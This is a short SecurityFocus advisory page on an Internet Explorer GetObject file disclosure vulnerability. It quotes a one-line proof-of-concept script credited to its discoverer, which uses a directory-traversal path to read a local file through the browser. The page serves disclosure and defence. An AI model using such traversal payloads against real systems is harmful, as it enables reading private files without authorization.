Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

Microsoft Internet Explorer GetObject File Disclosure Vulnerability

An example of the malicious code has been provided by Georgi Guninski <guninski@guninski.com>:

a=GetObject("http://"+location.host+"/../../../../../../test.txt","htmlfile");







 

Privacy Statement
Copyright 2009, SecurityFocus